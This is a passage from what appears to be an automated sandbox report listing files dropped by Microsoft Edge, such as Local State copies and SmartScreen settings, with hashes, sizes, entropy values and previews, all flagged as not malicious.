SHA1:	AA135A8CC2469CFD1EF2D7955F027D95BE5DFBD4
SHA-256:	9C70F766D3B84FC2BB298EFA37CC9191F28BEC336329CC11468CFADBC3B137F4
SHA-512:	4159EA654152D2810C95648694DD71957C84EA825FCCA87B36F7E3282A72B30EF741805C610C5FA847CA186E34BDE9C289AAA7B6931C5B257F1D11255CD2A816
Malicious:	false
Preview:	C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s. .(.x.8.6.).\.M.i.c.r.o.s.o.f.t.\.E.d.g.e.\.A.p.p.l.i.c.a.t.i.o.n.\.m.s.e.d.g.e...e.x.e.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Last Version

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	13
Entropy (8bit):	2.6612262562697895
Encrypted:	false
SSDEEP:	3:NYLFRQZ:ap2Z
MD5:	B64BD80D877645C2DD14265B1A856F8A
SHA1:	F7379E1A6F8CE062E891C56736C789C7EA77CD6A
SHA-256:	83476CEEEB7682F41030664B4E17305986878D14E82D0C277FB99EC546B44569
SHA-512:	734A7316A269C76DD052D980CC0D5209C0BFEDFFC55B11C58FA25C433CE8A42536827298C3E58CACD68CC01593C23D39350E956E8DE2268D8D29918E1F0667F2
Malicious:	false
Preview:	117.0.2045.55

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.08978141443857
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kW3di1zNtPMekzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynVlkzItSmd6qE7lFoC
MD5:	B4E45D54659520A3B67FAA5CC0D87D07
SHA1:	41C708D03214EB73C42D4DF49B8DC8E43C9C8B8F
SHA-256:	B538EBCAB66FF164BDA5A1F23D267709A167D4A25A9CDB519881C063A45E32A0
SHA-512:	2F4EAEFF32A4C3E58C2F4329EA23BDB2672B5E19D3EF6E4E106B87024B654678E15A06BEB7D2BC6EEF214B14AE6819ADE95CC96C09E668BA43ABB220E12CFD17
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF3a2aa.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.08978141443857
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kW3di1zNtPMekzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynVlkzItSmd6qE7lFoC
MD5:	B4E45D54659520A3B67FAA5CC0D87D07
SHA1:	41C708D03214EB73C42D4DF49B8DC8E43C9C8B8F
SHA-256:	B538EBCAB66FF164BDA5A1F23D267709A167D4A25A9CDB519881C063A45E32A0
SHA-512:	2F4EAEFF32A4C3E58C2F4329EA23BDB2672B5E19D3EF6E4E106B87024B654678E15A06BEB7D2BC6EEF214B14AE6819ADE95CC96C09E668BA43ABB220E12CFD17
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF3a2e8.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.08978141443857
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kW3di1zNtPMekzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynVlkzItSmd6qE7lFoC
MD5:	B4E45D54659520A3B67FAA5CC0D87D07
SHA1:	41C708D03214EB73C42D4DF49B8DC8E43C9C8B8F
SHA-256:	B538EBCAB66FF164BDA5A1F23D267709A167D4A25A9CDB519881C063A45E32A0
SHA-512:	2F4EAEFF32A4C3E58C2F4329EA23BDB2672B5E19D3EF6E4E106B87024B654678E15A06BEB7D2BC6EEF214B14AE6819ADE95CC96C09E668BA43ABB220E12CFD17
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF3a598.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.08978141443857
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kW3di1zNtPMekzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynVlkzItSmd6qE7lFoC
MD5:	B4E45D54659520A3B67FAA5CC0D87D07
SHA1:	41C708D03214EB73C42D4DF49B8DC8E43C9C8B8F
SHA-256:	B538EBCAB66FF164BDA5A1F23D267709A167D4A25A9CDB519881C063A45E32A0
SHA-512:	2F4EAEFF32A4C3E58C2F4329EA23BDB2672B5E19D3EF6E4E106B87024B654678E15A06BEB7D2BC6EEF214B14AE6819ADE95CC96C09E668BA43ABB220E12CFD17
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF3cbae.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.08978141443857
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kW3di1zNtPMekzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynVlkzItSmd6qE7lFoC
MD5:	B4E45D54659520A3B67FAA5CC0D87D07
SHA1:	41C708D03214EB73C42D4DF49B8DC8E43C9C8B8F
SHA-256:	B538EBCAB66FF164BDA5A1F23D267709A167D4A25A9CDB519881C063A45E32A0
SHA-512:	2F4EAEFF32A4C3E58C2F4329EA23BDB2672B5E19D3EF6E4E106B87024B654678E15A06BEB7D2BC6EEF214B14AE6819ADE95CC96C09E668BA43ABB220E12CFD17
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF41960.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.08978141443857
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kW3di1zNtPMekzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynVlkzItSmd6qE7lFoC
MD5:	B4E45D54659520A3B67FAA5CC0D87D07
SHA1:	41C708D03214EB73C42D4DF49B8DC8E43C9C8B8F
SHA-256:	B538EBCAB66FF164BDA5A1F23D267709A167D4A25A9CDB519881C063A45E32A0
SHA-512:	2F4EAEFF32A4C3E58C2F4329EA23BDB2672B5E19D3EF6E4E106B87024B654678E15A06BEB7D2BC6EEF214B14AE6819ADE95CC96C09E668BA43ABB220E12CFD17
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF4b562.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.08978141443857
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kW3di1zNtPMekzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynVlkzItSmd6qE7lFoC
MD5:	B4E45D54659520A3B67FAA5CC0D87D07
SHA1:	41C708D03214EB73C42D4DF49B8DC8E43C9C8B8F
SHA-256:	B538EBCAB66FF164BDA5A1F23D267709A167D4A25A9CDB519881C063A45E32A0
SHA-512:	2F4EAEFF32A4C3E58C2F4329EA23BDB2672B5E19D3EF6E4E106B87024B654678E15A06BEB7D2BC6EEF214B14AE6819ADE95CC96C09E668BA43ABB220E12CFD17
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF516db.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.08978141443857
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kW3di1zNtPMekzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynVlkzItSmd6qE7lFoC
MD5:	B4E45D54659520A3B67FAA5CC0D87D07
SHA1:	41C708D03214EB73C42D4DF49B8DC8E43C9C8B8F
SHA-256:	B538EBCAB66FF164BDA5A1F23D267709A167D4A25A9CDB519881C063A45E32A0
SHA-512:	2F4EAEFF32A4C3E58C2F4329EA23BDB2672B5E19D3EF6E4E106B87024B654678E15A06BEB7D2BC6EEF214B14AE6819ADE95CC96C09E668BA43ABB220E12CFD17
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Nurturing\campaign_history

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6773696719930975
Encrypted:	false
SSDEEP:	12:TLpUAFUxOUDaabZXiDiIF8izX4fhhdWeci2oesJaYi3islRud6zcQAJmdngzQdoO:TLiOUOq0afDdWec9sJhOs3fsuZ7J5fc
MD5:	6FFCCB198DC6B17E165460E6E246B03C
SHA1:	014A46B0E6E84089E1C20FA232F54CA737D5F023
SHA-256:	D1B2EC8C9906C3418837FFB8E116AA59C026DE2D67B2AFDA956F14D0DC3851AF
SHA-512:	846AE3D0A49A14BF82203A0FEDAD6E794F7E68C22A40EE0E014FEA99DFC676FAE4AFEB2C56F324E4361E83A35458C63E2ABAA7B28B6D23B20FA29EF47CBE87B3
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\customSettings

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	47
Entropy (8bit):	4.3818353308528755
Encrypted:	false
SSDEEP:	3:2jRo6jhM6ceYcUtS2djIn:5I2uxUt5Mn
MD5:	48324111147DECC23AC222A361873FC5
SHA1:	0DF8B2267ABBDBD11C422D23338262E3131A4223
SHA-256:	D8D672F953E823063955BD9981532FC3453800C2E74C0CC3653D091088ABD3B3
SHA-512:	E3B5DB7BA5E4E3DE3741F53D91B6B61D6EB9ECC8F4C07B6AE1C2293517F331B716114BAB41D7935888A266F7EBDA6FABA90023EFFEC850A929986053853F1E02
Malicious:	false
Preview:	customSettings_F95BA787499AB4FA9EFFF472CE383A14

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\customSettings_F95BA787499AB4FA9EFFF472CE383A14

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	35
Entropy (8bit):	4.014438730983427
Encrypted:	false
SSDEEP:	3:YDMGA2ADH/AYKEqsYq:YQXT/bKE1F
MD5:	BB57A76019EADEDC27F04EB2FB1F1841
SHA1:	8B41A1B995D45B7A74A365B6B1F1F21F72F86760
SHA-256:	2BAE8302F9BD2D87AE26ACF692663DF1639B8E2068157451DA4773BD8BD30A2B
SHA-512:	A455D7F8E0BE9A27CFB7BE8FE0B0E722B35B4C8F206CAD99064473F15700023D5995CC2C4FAFDB8FBB50F0BAB3EC8B241E9A512C0766AAAE1A86C3472C589FFD
Malicious:	false
Preview:	{"forceServiceDetermination":false}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\edgeSettings

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	81
Entropy (8bit):	4.3439888556902035
Encrypted:	false
SSDEEP:	3:kDnaV6bVsFUIMf1HDOWg3djTHXoSWDSQ97P:kDYaoUIe1HDM3oskP
MD5:	177F4D75F4FEE84EF08C507C3476C0D2
SHA1:	08E17AEB4D4066AC034207420F1F73DD8BE3FAA0
SHA-256:	21EE7A30C2409E0041CDA6C04EEE72688EB92FE995DC94487FF93AD32BD8F849
SHA-512:	94FC142B3CC4844BF2C0A72BCE57363C554356C799F6E581AA3012E48375F02ABD820076A8C2902A3C6BE6AC4D8FA8D4F010D4FF261327E878AF5E5EE31038FB
Malicious:	false
Preview:	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	130439
Entropy (8bit):	3.80180718117079
Encrypted:	false
SSDEEP:	1536:RlIyFAMrwvaGbyLWzDr6PDofI8vsUnPRLz+PMh:weWGP7Eh
MD5:	EB75CEFFE37E6DF9C171EE8380439EDA
SHA1:	F00119BA869133D64E4F7F0181161BD47968FA23
SHA-256:	48B11410DC937A1723BF4C5AD33ECDB286D8EC69544241BC373F753E64B396C1
SHA-512:	044C5113D877CE2E3B42CF07670620937ED7BE2D8B3BF2BAB085C43EF4F64598A7AC56328DDBBE7F0F3CFB9EA49D38CA332BB4ECBFEDBE24AE53B14334A30C8E
Malicious:	false
Preview:	{.. "geoidMaps": {.. "au": "https://australia.smartscreen.microsoft.com/",.. "ch": "https://switzerland.smartscreen.microsoft.com/",.. "eu": "https://europe.smartscreen.microsoft.com/",.. "ffl4": "https://unitedstates1.ss.wd.microsoft.us/",.. "ffl4mod": "https://unitedstates4.ss.wd.microsoft.us/",.. "ffl5": "https://unitedstates2.ss.wd.microsoft.us/",.. "in": "https://india.smartscreen.microsoft.com/",.. "test": "https://eu-9.smartscreen.microsoft.com/",.. "uk": "https://unitedkingdom.smartscreen.microsoft.com/",.. "us": "https://unitedstates.smartscreen.microsoft.com/",.. "gw_au": "https://australia.smartscreen.microsoft.com/",.. "gw_ch": "https://switzerland.smartscreen.microsoft.com/",.. "gw_eu": "https://europe.smartscreen.microsoft.com/",.. "gw_ffl4": "https://unitedstates1.ss.wd.microsoft.us/",.. "gw_ffl4mod": "https://unitedstates4.ss.wd.microsoft.us/",.. "gw_ffl5": "https://unitedstates2.ss.wd.microsoft.us/",.. "gw_in": "https

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\synchronousLookupUris

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.346439344671015
Encrypted:	false
SSDEEP:	3:kfKbUPVXXMVQX:kygV5
MD5:	6A3A60A3F78299444AACAA89710A64B6
SHA1:	2A052BF5CF54F980475085EEF459D94C3CE5EF55
SHA-256:	61597278D681774EFD8EB92F5836EB6362975A74CEF807CE548E50A7EC38E11F
SHA-512:	C5D0419869A43D712B29A5A11DC590690B5876D1D95C1F1380C2F773CA0CB07B173474EE16FE66A6AF633B04CC84E58924A62F00DCC171B2656D554864BF57A4
Malicious:	false
Preview:	synchronousLookupUris_638343870221005468

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\synchronousLookupUris_638343870221005468

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	57
Entropy (8bit):	4.556488479039065
Encrypted:	false
SSDEEP:	3:GSCIPPlzYxi21goD:bCWBYx99D
MD5:	3A05EAEA94307F8C57BAC69C3DF64E59
SHA1:	9B852B902B72B9D5F7B9158E306E1A2C5F6112C8
SHA-256:	A8EF112DF7DAD4B09AAA48C3E53272A2EEC139E86590FD80E2B7CBD23D14C09E
SHA-512:	6080AEF2339031FAFDCFB00D3179285E09B707A846FD2EA03921467DF5930B3F9C629D37400D625A8571B900BC46021047770BAC238F6BAC544B48FB3D522FB0
Malicious:	false
Preview:	9.......murmur3.............,M.h...Z...8.\..<&Li.H..[.?m

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	29
Entropy (8bit):	4.030394788231021
Encrypted:	false
SSDEEP:	3:0xXeZUSXkcVn:0Re5kcV
MD5:	52E2839549E67CE774547C9F07740500
